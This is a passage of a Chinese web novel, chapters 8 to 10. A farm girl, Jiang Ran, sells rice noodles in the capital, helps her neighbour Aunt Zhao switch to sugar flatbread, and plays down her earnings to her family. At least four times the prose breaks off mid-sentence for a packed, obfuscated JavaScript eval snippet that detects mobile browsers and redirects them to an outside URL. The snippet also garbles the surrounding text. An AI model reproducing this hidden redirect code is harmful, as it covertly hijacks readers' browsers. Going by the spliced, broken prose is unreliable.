大娘道：“无妨，啃饼方便，反正我这也卖不出去，吃吧。” 中午有六七个客人买粉，姜然赚钱也翻了一倍，直到正午过去，摊位前才没什么人了。 姜然忙活一中午，要不是啃了几口饼，这会肚子肯定饿的受不了。 她看看饼，又看看旁边，一个上午加一中午，大娘就卖出去三份。 有两份还是客人在姜然这边吃粉，顺道买的。 大娘语气讨好，“小娘子，我姓赵，就住在城南，家离这边近，没啥事儿就过来摆摊。你是住城外吧，你要是嫌推车回去麻烦，可以放在我家。” 赵大娘觉得姜然挺聪明的，会琢磨。有人觉得太辣，有人觉得不够辣，就会想法子明儿带辣油过来，单独放。 想想她跟自己说的，把炊饼改成烙饼，里面加馅儿，做糖饼或是做别的，好像真能行。 她想了一上午，街上有卖烙饼的，但那是死面饼，真没有像姜然说的那些。 若真能成事，那姜然可是她贵人呢？自然不能让人白帮忙。 她住城内，知道的事多，以后能帮姜然占摊子。 若姜然答应，她才好意思再问别的。 姜然正有此意，但是头一回来，二人并不熟悉，她不可能真的把推车放过去。而且她打算往车上再放些东西，比如马扎，客人就不必站着吃了。 不过二人若交好，等以后摊子弄得差不多就不用推个车来回跑了。 她感动道：“多谢大娘，您真是个好人，我姓姜，家住城外，来回跑着远，不过明儿想多带些东西，便先不放大娘家里了。” 赵大娘笑道：“没事没事，你想放随时能放，推车就这么大，不占地方。” 说完，她又看看姜然，“那你说的糖饼和馅儿饼……小娘子放心，我就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17066762|195137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做饼，绝对不抢你生意。” 姜然道：“大娘回去可以做来试试，也别蒸了，烙着吃，外面酥脆，面饼是软的，里面甜甜的，应该会很好吃。糖馅儿混油和面酥，能压本钱。” 其实姜然脑中一闪而过想了不少吃食，发面饼如果是中间抹层油，揭开就是月亮馍，里面能塞各种炸菜。 这个蒸就行。 烙饼里面放肉馅儿，便是锅盔，还可以放鸡蛋。再有发面馅儿饼也好吃，都可以做。 不过二人第一天认识，她不能掏心掏肺把方子告诉了，赵大娘愿意让她把车放在她家，就先说个糖饼，当做车费。 一个糖饼而已，就算日后两个人闹掰了，姜然也不亏。 赵大娘笑得灿烂，“好好好，多谢你呀小娘子，你这碗筷是不是得刷？你去刷吧，我给你看摊子，有人来了喊你。” 姜然不想脏兮兮的碗摆在上面让客人见了也没胃口，便蹲到一旁拿着刷了，刷过之后擦洗两遍，又去接了桶水，借了赵大娘的笤帚把自己摊位附近打扫干净。 城内有放垃圾的地方，坊市管理严格。 下午生意一般，就卖了三碗，她看天色不早了，就收摊打算离开。 赵大娘道：“你不卖了？夜里人才多呢……” 刚说完她就想起来了，姜然住在城外，一个小姑娘夜里回去不方便。 姜然道：“不卖了，我得走了，大娘明儿你能不能早点来，稍微占个靠前面一点的位置。靠前面一点，没准客人就多点。” 赵大娘点点头，“成，我给你也占个。” 姜然眼睛弯起，赵大娘觉得姜然眼睛跟月牙似的，这孩子越来越招人喜欢。 她想试试糖饼好不好卖，不然一日就做几单生意，累得慌。 约定好，姜然收拾东西推车往回走，路过肉摊的时候买了三斤肉两根骨头。 明天还来，得炒肉末，骨头熬汤。 还有一斤是留着家里吃的。 尽管她卖东西家里没帮上什么忙，但是米粉是家里米磨的，推车和锅也是家里的。 她推车出了城，直接原路返回。 天还亮着，路上没什么人，走一会儿歇一会儿，渴了就喝煮粉剩下的汤，她不敢喝生水，饿了就吃姜松给带的吃的和没吃完的炊饼。 累。 胳膊好像灌了铅，酸痛酸痛的，嗓子也干，因为吆喝了一个上午。 但姜然怀里揣的钱袋子一直叮叮当当的响，声音悦耳。 大概离家还两里路，姜然看见姜松了。 姜然停下，再也推不动了，“哥！” 姜松朝这边跑过来，见妹妹安然无虞，松了口气，“终于回来了。” 太阳已经落山了，姜然道：“怕太晚我就早回来了，但是现在天还没黑，明儿可以再晚点。” 姜松道：“再晚就不成了。” 姜然：“成的成的，没准多卖两碗粉，哥，我卖出去了，今儿卖了十七碗。” 九碗拌粉八碗汤粉，总共六十七文钱。 买了肉，还剩三十一文。 姜然：“我买了明儿用的肉，多买了一斤晚上让娘做了吃，你们干活辛苦，哥，这钱……给你拿着，读书！” 说这些的时候，姜然心痛极了。假如姜松真要，她明天只卖两碗。 姜松哪儿好意思要她的钱，妹妹出去一天，头发乱了，累得不轻。四妹一日都没出去，嫌太阳晒。若他能干，也不用妹妹辛苦。 姜松：“我不要，你自己拿着，到家别说赚了钱，听到了没？” 姜然：“啊？” 8. 第八章 演戏 姜然知道这个哥哥不像云氏和姜传力一样愚孝，还拿了家里的钱，以后他来管家，就是为了防止云氏二人再贴补老院和大房。 但是她属实没想到姜松会说到家也别说赚了钱。 姜然是不想告诉的，保险起见她又问了一遍，“爹娘也不告诉吗？” 姜松神色复杂，他道：“不了，若告诉他们，没准儿一不小心说漏嘴了，到时祖父祖母指不定说什么。还有大伯母他们，怕是都想分一杯羹。” 姜松不想见到这样的场景。 尽管分家了，可还住在一处，姜然一个人出去卖东西，真让别人看见赚钱，今天告诉了，明天就得一群人跟姜然去，到时又混在一块儿，还会说姜然年幼干得少，三房最后连口汤都剩不下。 瞒云氏和姜传力是无奈之举，若他们一心为他们兄妹，姜松怎会瞒呢？ 姜松从前常常怨自己爹娘，为何不向着他和妹妹。 辛苦种地终于拿到钱，大哥读书要给，五叔读书也要给，再孝敬两个老的，这么多年就存下五两银子，其中大半还是今年分家得的。 可是，卖麦子买完稻种稻苗还剩下三两银子啊。 姜松心寒，自己的爹娘又不能不管，他嘱咐妹妹道：“就说赚了个买肉钱，你得说累说辛苦，知道吗？” 姜然低下头，“本来也累，我现在胳膊都抬不起来。” 多诉苦，这样姜松就不会要她的钱了。 姜松眉头拧着，嘴巴动动，似乎想劝姜然别去了。 姜然立刻道：“不过我已经想到办法了，我摊子旁边有个热心大娘，姓赵，她说我可以把推车放到她家，以后就不必推这么重的车来回跑了。” 姜松很谨慎，他问：“她怎么愿意让你把推车放她家里？” 姜然：“赵大娘卖炊饼，生意不咋好，我给出了个主意，看看她能改卖糖饼。” 姜松这才点点头，姜然怕他不信还把炊饼给他看，“这就是赵大娘给我的，我今儿回去还有的忙，哥，能不能给我做两个小板凳，这样客人就可以坐着吃了。” 摊子后面有小块空地，今天客人就站在那儿吃的。 姜然还得弄醋和辣油，谁嫌不够味的就多放。肉末炒的时候茱萸和醋少放些，但不能不放，这东西若不是酸辣口味的不好吃。 姜松痛快道：“行。” 姜松推车回家，对他来说这车并不重，可是对妹妹说，却是很重的。 他得快点种稻子，好去帮忙。 今日赚了钱，那以后就能打铁锅，等他也去帮忙，家里就有别的进项，不然妹妹一个人干活，他不好意思拿钱。 妹妹一个人出门就能卖钱，他不能太差劲。 太阳才落山，兄妹俩一回庄子，便有人看见瞧见了。 林氏朝兄妹二人走过来，一边打量一边道：“姜然今儿去哪儿了？一整天没见着，这咋推个车，有锅有灶的，怎么，还学别人摆摊做生意去了？” 姜然累了一日，跟晒蔫巴的小草似的。 她声音又细又弱，有气无力道：“大伯母，我做了点吃的拿去卖。” 林氏哎哟了两声，神色夸张道：“这太阳是打西边出来了，还知道做东西拿去卖。做了啥呀，生意好不好？可赚了钱？” 姜然这回似乎有底气了，“自然是赚了的。” 她把木桶盖子揭开，露出里面用荷叶包好的肉，认真道：“大伯母，你可别小瞧我，我赚了钱的，够买明天做菜的肉，家里还能吃一斤。” 姜松心里一紧，可看林氏神色，又放心了。 林氏神色嫌弃，眼睛都长头顶了。 肉荷叶包着，也没全露出来，看起来就一小块。 林氏：“这么点？” 姜然点点头，她来这数日，大房常吃肉，一块肉林氏肯定看不上。 若林氏自己过来把盖子掀开，姜然再说赚得不多，林氏没准儿觉得生意不错。 可姜然揭开盖子，又这么满足，林氏哪里瞧得上，这才多少钱，真是小家子气。 林氏笑了，她道：“也就是说刨除本钱就能买一斤肉。” 姜然慌忙解释，“大伯母，一斤肉不少了，我哥还有爹娘种地辛苦，终于可以吃肉了。” 林氏笑出声，“你推车去京都，忙活一天又推回来，就赚了十几文钱！” 这孩子莫不是傻的，就这还高兴得不知如何呢。 姜然目的达到，不再说话。与其自己逢人哭诉没赚到钱，倒不如让林氏自己发现，林氏知道了，别人也就知道了。 姜然装出一副惶然无措的样子，林氏叹了口气，也笑累了，她真觉得三房姜然傻得可怜。自己女儿去做丫鬟，哪怕从三等丫鬟开始做起，一个月也有半两银子的，还不必跑东跑西这么辛苦。 林氏把盖子盖上，“行了行了，快回去吧，你爹娘种地辛苦，快把肉做了给他们吃。真是个孝顺闺女，明儿可要还去。” 姜然无措地喊了声哥，姜松攥紧拳头，唇直直抿着，也一副受气样。 他知道这时争辩就前功尽弃，只道：“小然，我们回去。” 回到家，姜松还得下地插秧，云氏留下煮饭。 姜然把一斤肉给她，“娘，今儿煮了吃吧。” 她是想自己煮，怕云氏把肉做白瞎了，可实在累，她又不是铁打的，终于回来了，恨不得躺床上一动不动。 她还得准备明天用的东西，就让云氏做好了。 不过姜然在一旁盯着，总共一斤肉，别再孝敬了刘氏和姜老爷子去。 天黑下来，姜松和姜传力从地里回来。 姜传力闻着香喷喷的味道，有些诧异，没想到姜然还真赚了钱回来。 姜然端了碗筷，“吃饭吧。” 饭桌上，姜松说道：“就赚这么点，不值当跑一次，明儿别去了。” 还演？ 姜然奉陪，“可赚一斤肉钱也是赚，现在种地累，吃点肉能补贴油水，我累一点无妨的。” 云氏和姜传力木然的神色有些松动，依旧没说话。 姜松给妹妹夹了两块肉，“吃吧。” 这道菜姜然没动手，她看云氏做的。 把肉切片，先把其中的油脂煸出来，然后再放菜。肥肉煸得酥脆，菜吸满油水，不是收麦子时做的煮肉。 缺油水的时候，云氏他们最爱吃肥肉，油脂煸出去反而可惜。 但那样做肉是肉菜是菜。 现在好歹是一道菜，主食有馒头炊饼，姜然掰开馒头，里面夹了菜，吃得也很香。 总归累了饿了，吃什么都是香的。再看云氏姜传力他们，吃得头也不抬。 吃过饭后，姜松二人又摸黑去插秧了。这几日都是大晴天，晚上看明天不像有雨的，只能挑水灌溉插秧。 云氏得煮猪食，还得喂鸡喂鸭。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17066763|195137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 姜然想，虽然云氏和姜传力还是老样子，可家里总算是慢慢走向正轨了。 她给家里菜地洒了些水，就回屋准备明天要用的东西。 家里还有不少干茱萸，一串串红褐色绑着挂在梁上和房檐下，这个时代没有辣椒，只能用茱萸花椒代替，混合在一块儿碾碎加盐做油辣子正好。 茱萸种子姜然多弄了些，放在破棉絮中等待发芽，她希望家里的茱萸能够用到秋日，用完就有新的。 家里这么多地，不该花的姜然一文都不想花。 她把东西收拾好，姜松还没回来。 姜然累得不轻，收拾好就去睡了。次日一早，两个马扎已经放车上。问云氏，姜松又去地里了。 姜然已经起得很早了，她去厨房忙活今儿要用的东西，骨头让肉铺剁开带回来的，焯个水，就能慢慢熬骨汤，这不用占锅，用砂锅熬就是。 两斤猪肉切成肉末，炒香用醋和茱萸调成酸辣口味，这回酸辣口味比上次淡，醋和油辣子已经用罐子装好了。 等骨汤熬好就能出发。 她坐在厨房前的小板凳上等汤熬好，一只手拿烧火棍，另一只手托着下巴，看漆黑天色一点点变亮。 天亮了，姜松和姜传力也从外面回来了。 姜然把骨汤装进刷干净的木桶里，周边用棉絮围着。 姜松依旧给姜然装好早食，又送妹妹去庄口。 今儿不必叮嘱卖不掉就回来，姜松说的是，“昨儿买了肉，今天不必买了。” 姜然嗯了一声，“哥你回吧。” 一回生两回熟，姜然想早点儿去卖，也怕赵大娘一个占不住不好位置，姜然脚步快了些，比昨儿早到京都一刻钟多。 沿街一边走一边找赵大娘的身影，走到长街一半多的位置，姜然瞧见赵大娘冲她招手。 赵大娘今儿带了儿子过来，姜然来了，就让儿子把另一个推车推走，让姜然占到这儿来。 她比姜然早来两刻钟，她兴冲冲对姜然道：“我卖出去两份糖饼了。” 昨儿姜然走了，赵大娘看生意不好，也回去了，回去后她按姜然所说，开始做糖饼。 和面，做红糖馅儿，包起来烙，做糖饼很简单。 一张饼皮包了馅，跟包包子似的，给捏上，之后擀平放锅里烙就行。 两面烙的金黄，差不多熟了赵大娘就把饼铲出来。圆乎乎的饼，因为是发面的显得又大又圆又鼓。她不知道好不好吃，等稍微放凉一些咬了一口。 外面凉了，里面的糖馅儿却是热的，狠狠烫了赵大娘舌头一下，但她却顾不得疼，只觉得这饼香甜又好吃，外面饼皮酥软，红褐色的糖留出来，真和姜然说得一样。 赵大娘给姜然留了两块，“你当早饭吃。” 姜然没要，赵大娘执意要给，姜然就拿了一块。糖价贵，一斤糖差不多一百文，这一张糖饼就值四五文钱，她哪儿好意思要两块。 赵大娘春风得意，“中午我再给你烙一块，不然凉了不好吃，你快收拾，快卖，今儿咱们位置靠前。” 没啥生意的时候，赵大娘懒懒散散，不求上进。现在想的却是赶紧卖，千万不能白瞎这好位置。 姜然把糖饼放下，先去提了两桶水回来，飞快地调米糊刷碗，碗还没刷完，就开张了。 不是别人，正是昨儿来的第三个客人。 那个一声没咳，还嫌不够辣的那个。 9. 第九章 包您满意 姜然道：“尝尝汤粉吗？我改了方子，若嫌不够辣，可以多放油辣子，包您满意。” 姜然迫不及待想要验证法子管不管用。 男人道：“给我来一碗。” 水是一直烧着的，米浆已经调好了，姜然趁等水烧开的空闲，把碗筷涮完。 水冒小泡后她开始漏勺漏粉，煮熟盛到碗里再铺上肉末淋上骨汤，姜然问客人，“可要多加些醋？” 客人摇头，“醋就跟昨日一样就行。” 姜然加了一勺醋，三勺油辣子，“这有小板凳，您可以坐下吃。” 虽然没桌子，但已经方便不少了。 客人端碗去了摊子后面，赵大娘看姜然开张了，为她高兴。 姜然回头对客人道：“您若觉得辣味重，可以试试旁边大娘做的糖饼，很好吃的。” 没别的客人，姜然把赵大娘给她的糖饼咬了一口。金黄的饼皮，白净软和的饼瓤，还有里面褐红色流沙的糖馅儿。 哪怕不吃，只看都觉得香甜。 客人却摇摇头，“我不喜甜的。” 姜然没再多说，赵大娘没卖出饼去，却对姜然道了声谢，“姜姑娘，多谢啊，你的主意好，等一会儿有客人来我这买饼，我也说你的。” 一斤糖一百文，赵大娘这糖饼卖得贵，七文一块，一张饼差不多能赚个两三文钱。 比炊饼贵得多，但也好吃得多，京都富庶，糖饼好卖，饼做的时候有股香甜味儿，吸引不少人来问。 嗜辣客人埋头嗦粉，姜然又卖出了两碗粉拌粉。猪油拌粉暂且不需要改进，这个粉便宜，卖得比汤粉快。 就是小板凳有点紧巴，后头来的只能站着吃。 姜然打算看看今天生意如何，若不错，等晚上回去再让姜松做两个小板凳。 第一个客人已经吃完了，他不过后面来的已吃完走了，两个板凳都空了出来。 客人脸色通红，嘴略显红肿。 姜然担忧道：“您没事吧？” 客人笑笑，“这粉好吃，我明天还过来吃。” 这虽是个小摊子，可却能迎合顾客的口味，在这条街上还是头一份。 这个客人对姜然来说也意义非常，她道：“您明日过来，我再给您多放点辣子。” 客人似是怕了，摆手道：“不必，这就够了。不过明日可以多给我来点粉。” 一个大男人一碗吃完不上不下的，如果说吃饱也没太饱，要说过瘾还不够过瘾。 姜然道：“这好说。” 等这个客人走了，又来了一个，他要的是拌粉。 吃完一碗，他问：“姑娘，能否加点粉啊？” 姜然：“您是要再来一碗吗？我这就给你煮。” 客人赶忙摇头，“非也非也，我看碗底还有汤，再来碗粉拌拌也能吃，只要粉不要料，咋收钱？” 只要粉？ 姜然想起那个嗜辣客人说的，明儿给他多加点粉。 难道不是顺势而为，觉得不要白不要，而是不够吃？ 她脑子转得飞快，她做的粉份量不多不少，毕竟摊子上卖的几文钱的东西，不可能指望吃饱。 这好说，不够吃多吃点就是了。 姜然做生意，不可能谁不够吃就免费加粉，不然她得赔死，客人自然也没那么想。 姜然道：“您拿两文钱吧，我再煮碗粉。” 一碗拌粉三文钱，其中猪油调料这些占大头。 可倘若加份粉只要一文，那都加粉去了。只要调料的人少，如果真有，姜然也会说调料不单卖。 客人点点头，“成，给我煮一碗吧。” 煮好的粉盛进碗里，姜然转身递过去，客人倒进碗里又拌了拌，味道是淡了些许，但也好吃，这回吃饱了。 临走他指着摊子上的辣子油罐问：“你这辣子醋拌粉可能加？” 不要钱，不加白不加。 姜然道：“您若喜辣喜酸，可以加，但是拌粉主咸香口味，再加辣子醋可能相冲，尝不到猪油的香味，并不好吃。您若执意要加，最后不好吃，我这儿肯定不退钱的。” 客人歇了这个念头。 姜然来这之后已经有四个客人了，昨儿一上午才七个，现在才到不久就四个，对于她来说算生意好了。 不仅如此，最后一个吃拌粉的，经她介绍，在赵娘子那儿买了块糖饼，赵大娘高兴得不知怎么才好。 但也没空和姜然说什么，赵大娘那边生意很不错，姜然这儿送走客人之后又来了两个。 两碗汤粉卖了出去，其中一个客人还另加了粉，十二文就到手了。 晨起人多生意最好，等过了这会儿该干活干活，该上职上职，街上就没什么人了，姜然终于得空歇下来了，一个早上她卖了九碗粉。 五碗拌粉四碗汤粉，有两个人不够吃，另外加了，到手三十九文。 上午没准再来两个客人，就等中午了。 赵大娘见人少了，说道，“你刷碗去，我给你看摊子。” 相比之下，姜然要忙许多，她要煮要拌，要顾及客人的口味，有的吃完还要加份粉，碗筷还要收拾。 而赵大娘这头做好，拿油纸一包，客人结了账就走，别的就不用管了。 终于得空了，赶紧把用过的碗刷了，不然等中午人多该不够用了。 九个客人，用了十一只碗。姜然立刻去打水刷碗，又把摊子附近扫干净，连着摊子上不小心滴下的调料也擦了。 期间她还卖出了碗拌粉。 赵大娘今儿生意好，她感激姜然，看她这么辛苦又有点心疼，但更多还是为姜然高兴，“等明儿我再早点来，没准儿能再去前面点。” 姜然看有些摊子已经走了，这些人是看上午人少想等中午再过来。 左右无人，姜然说道：“不必太靠前，太靠前容易招麻烦。” 赵大娘说前头位置有人抢，没准儿一个萝卜一个坑，她们现在过去占位置，准得打起来。那不如在后面苟着，刚两天，还是稳扎稳打得好。 赵大娘觉得姜然说的也有理，又让姜然先吃饭。 其实赵大娘可以自己挤到前面去，反正糖饼都会做了，姜然不愿意过去是她的事。 可赵大娘觉得还是跟姜然一块儿好，昨天姜然听有人说不够辣，今天就单独准备了油辣子和醋，又弄了板凳，有人说粉不够，就想出了另外加粉的主意。 要是她，客人说不够吃，她会一直解释自己份量是够的，生怕别人觉得少了。 赵大娘觉自己脑袋笨，以后还得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17066764|195137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指望姜然。看着是她帮忙占位置，可实际上她得倚仗姜然。 姜然啃了两口糖饼，把刚用过的碗筷刷干净，还把摊子清理干净。 摊子简陋却整洁，姜然把自己当做客人，朝摊子走了两遍，觉得摊子缺点东西，缺一个价目表。 可以放在木桶前面，做大点，既可以挡住有心之人的视线，还一目了然，后面空的地方可以加新品。 生意慢慢做起来了，姜然并不觉得日后自己只会卖这两样。 不是所有人都识字，但只要客人识字的，她就能少费口舌。况且明码标价，吃着放心。 姜然从前去外面吃饭，便喜欢有价目表的地方。 有些小店摊子上的东西看起来平平无奇，结果一小角面包就二三十块，简直是价格刺客。 她看自己的小摊位，心里越发满意。 上午又来了两个客人，其余时间姜然就和赵大娘说话解闷，了解京都的大小事，等中午坊市又热闹起来。 买饭食买肉菜，小摊子也常有人光顾。 来粉摊的每个客人姜然都会告诉能加粉，中午吃得多，十二个客人，有八个要加粉，也有要粉汤的，汤不要钱。 碗不够，姜然边卖边刷。 过了中午，客人不多了，肉末也没多少了，姜然收拾收拾打算回家。 赵大娘替姜然可惜，“你要是住城内多好，晚上才热闹呢，能多赚钱的。” 上午没客人的时候，二人说话，姜然就听赵大娘说京都夜市繁华，热闹非常，一直到子时还有人呢。 而庄子却是日出而作，日落而息。 姜然眼含憧憬，道：“慢慢来嘛，日后没准儿也能来京都租个宅子，到时做生意就方便了。” 买，对她来说还是太贵了，偏远的宅子还要一百贯，对从前三房来说，买宅子，要等好二十年后。 现在有点盼头，但买是太贵了， 姜然今天流水一百零九钱，买了肉能剩八十多文，算上昨儿剩的和两个银花生，也就够买她脚下站的地方。 肯定租更合适。 收拾好后，姜然跟跟赵大娘道了声再见，然后推车去肉铺。买了两斤肉几根骨头，这就回家了。 回去后林氏又来看了，“这早回来，卖不动吗？昨儿还能买一斤肉，今儿连家里吃的肉都买不起，不是说缺油水吗。你呀费劲来回跑有什么用，还不如跟你哥似的，多翻几块地。” 前面的话就当林氏放屁，她在乎林氏后面说的。 姜然白天不在，不知道家里都干什么了，现在要种稻谷，远看几块天地碧绿碧绿好似翡翠，远远看，几个黑影正在插秧。 其他几房虽然懒惰，但是分了家分了地，还是得好好种，不能等姜松和姜传力把三房地都种完再帮他们，这样赶不上时节。 收成不好侯府就不满意，就不会把地租给他们。 姜然今天回来得早，姜松没来接，她好奇道：“我哥又多翻了地吗？” 林氏哼了一声，眼睛斜着很是瞧不上，“这儿一块那儿一块的，我看都有八九块了。” 翻好就用篱笆围上，都靠近三房。 昨天家里才四块地，现在都八九块了，那可太好了。 姜然道：“那是到底八块还是九块？” 10. 第十章 侯府来人 林氏扭头就走了，最后都没说到底是八块还是九块。 姜然推车回三房，家里没人，估摸都在地里呢。 小鸡小鸭小猪都很好，精神活泼。地她数了，总共九块，四四方方整整齐齐的，篱笆安了门，虽然没锁，可也用藤蔓捆上，庄子都是姜家人，这样弄，谁也拉不下脸拿菜。 白菜油菜萝卜已经种上了，还有便是茄子胡瓜和豇豆。这些是姜然最开始从木桶里拿的种子，没弄太多。 白菜油菜萝卜种得密，听姜松说需要后头再移植，移植前能摘菜苗吃顿包子。 豇豆胡瓜和茄子是一坑两三颗种苗，不必移植，长到手掌高就得搭架子，茄子为了防止倒塌，不用架太高，胡瓜豇豆要攀爬，架子比人还高。 胡瓜就是黄瓜，茱萸种子还未出芽，这些才占了两块地。 不过，姜松已经把其他菜种都育苗了，相信不久之后都能种满。 姜然出摊用三房院子里的小油菜，和以前家里的茱萸，她最缺这些。 林氏觉得她家种得多，又拉不下脸跟她家一样这么干，所以一兜子酸话。 既看不上，又怕她家真的靠这个赚钱。 姜然怕她使坏。 说到底，庄子是侯府的，不是她家的。虽然听姜松说契书写了二百八十亩地交五成租子，只要粮食，其他东西归庄户所有。但是侯府让他们种才能种，不让就不能。 姜然不敢保证地多了侯府还不放心上，如果林氏有坏主意，没准真叫她得逞了。 姜然不想这种事情发生，她的菜地容不得一点闪失。 傍晚云氏回来，见姜然没拿肉，也没说什么。 她闷声烧火做饭，姜然趁这功夫弄了辣子油。 今天带过去的一罐用了不少，还剩些肉末，晚上煮菜里了。 姜然把罐子装满辣子油和醋，饭做好了，姜松和姜传力也回来了。 吃饭的时候，姜然问：“哥，还翻地不？” 姜松道：“我看不少了，不翻了。” 姜然问道：“府上小娘子们可说过要过来？” 姜松摇摇头，“这没说过，不过往年这个时节来的勤，耕种时肯定来一次。” 他们种地是为了糊口，但在侯府姑娘少爷眼中，种地颇有意趣。 一个是锄禾日当午，汗滴禾下土，一个是采菊东篱下，悠然见南山。 侯府姑娘们过来是为了体会田园农趣。 身边跟一堆丫鬟伺候，种两根苗，体验一番也不觉得累。自己种的还会被圈上，等秋收的时候，这两根稻谷送到手里，颇有成就感。 姜然道：“哥，你要不再挖几块小的？准备些种子，等姑娘们过来了种。如果她们喜欢，咱们平时给捉虫施肥，成熟了就给送去，这样咱们种再多，侯府也不会说什么。今儿我回来，大伯母可嫌咱家种得多。” 云氏和姜传力依旧不吭声，姜然已经习以为常了。 姜松想了想，道：“行。” 姜然：“别太大。” 她比划了一下，“这样四四方方的就行，篱笆弄好看一点。” 姜然觉得四个平方就差不多了，人家是为了体验，不是真的想种地，再多，那就累了。 现在天越来越热，怎么可能在外面待太长时间，姜然又道：“哥，能不能用别的肥料，不然太臭了。一定得有田梗！还有种的菜得方便采摘，辣子茄子这些比较好。如果能弄到草莓苗，那就更好了。” 姜松把这些记在心里，“放心吧，交给我。” 翻那么几块地，又累不着，等晚上忙完他就弄。 姜然：“离咱们的地近点。” 姜松点了头，安排完这些，姜然放心多了。 饭桌上她没和姜松说生意如何，等吃过饭，姜然给了姜松二十钱，“今儿赚的。” 姜松：“我说了钱你自己留着。” 姜然：“这是我交家里的，米粉、调料、油都是用家里的，该交。哥，你可得攒好，不管以后再去读书，还是租宅子去京都住，都用得上。” 这钱是姜然诚心给的，不过具体赚多少，姜松就不知道了，她只说今儿生意比昨天好。 姜松这把钱给收下，“以后米粉我来磨，我去插秧了，你困了就先睡，出去干活记得吃东西，既然赚了就别舍不得花。你吃你的，不用管我们。” 姜然哎了一声，“你别把自己弄太累了，就算爹娘不理解你，我也理解你，你是为了这个家好。” 姜松鼻尖酸涩，都道男儿有泪不轻弹，可是妹妹的话，让他心里又紧又暖，险些落下泪。 他还记得祖父那日对父亲说他翅膀硬了，又说父亲是榆木脑袋。就连那日分地，祖父和叔伯看他的目光都是异样的，似乎是在指责他不孝。 现在妹妹告诉他，他是为了这个家好。 姜然踮起脚拍拍姜松肩膀，“对了，车上还缺一个价目表，哥你读过书，能不能给我做一个？” 难过一会儿就行了，不能一直难过，还是得干活。 姜松道：“写什么？” 姜然：“做大一点，就写猪油拌粉三文，肉末汤粉五文，加一份粉两文，就写这些就行了。” 小板凳就先不做了，不是时时刻刻都有那么多人，多带一个，就多费力气。 没别的事，姜然梳洗梳洗就睡了。第二日依旧是个晴天，她推车去了京都。今天有价目表，卖的比昨日多，一日卖了三十多碗，再有加粉的，到手有一百四十钱。 目前是不用再往车上加什么东西，姜然冲赵大娘笑笑，“大娘，我能把推车放在了你家里吗？” 每天推车，胳膊酸疼酸疼的，能省力自然选择省力的法子。 赵大娘道：“本来不也是说让你把车放我家，省着来回跑，我收拾收拾带你过去。” 现在已经是下午了，街上没什么人，赵大娘这两日也是这个时辰回家。 发面调馅儿，晚上去卖。 这两天生意挺不错，白天能卖二三十块糖饼，一块饼赚个两三文钱，能有五六十文。 她们两个在一块儿正好，一个卖干的，一个卖带汤的。 赵大娘说道：“那等明早你直接去街上，推车让我儿子给你推过去。” 姜然道了声谢，赵大娘笑道：“又见外，说啥谢不谢的，该我谢谢你，不然我还卖炊饼呢。” 要不是姜然，她哪能卖糖饼？ 姜然道：“我就随口一说，还是大娘手艺好。” 又说了几句，二人就闷头推车了。 干活累，省些力气最好。 走过几条街巷，就到赵大娘家，进院子后，姜然没多看。 她留下了锅灶，柴火日后用完就在城内买，很方便， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17066765|195137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜然也不是空手回去，她得把盛高汤的木桶、装肉末的盆子等调料带回去。 提着怪沉的，但比推重重的车轻便，而且每日回去基本上都能用完，带空桶回去省力的。 东西放好，姜然就告辞了，她又回到那条街上，打算买完猪肉就回家。 第一次让姜松买了一斤肉，差不多卖完就走了，第二天人多，两斤肉做的肉末还剩点，现在一日卖得比一日多，再做两斤肉末，恐怕不够了，姜然买了三斤，多的晚上家里吃，她顺便买了块豆腐。 她辛苦赚的钱舍不得花，吃个麻婆豆腐解解馋得了。 提空桶回去不费力，但累了一日，姜然还是走走停停。终于到了家，她分了半斤肉一块豆腐给云氏，“娘，今天吃米饭。” 云氏嗯了一声，转身淘米。 姜然就在一旁指导她怎么做。 家里三人种地，一个出去卖东西，都是费力气的活，一家吃饭的时候头也不抬。 豆腐煮的有些碎，但很入味，肉末香和辣味开胃，拌饭吃又极其下饭。 吃完饭姜然去屋外绕了一圈，天已经黑了，她看见挤在大块篱笆地中的几个小块地。 篱笆围着，边上开了小门。 姜然没想到这么快就弄好了，她数了数，总共有五块。 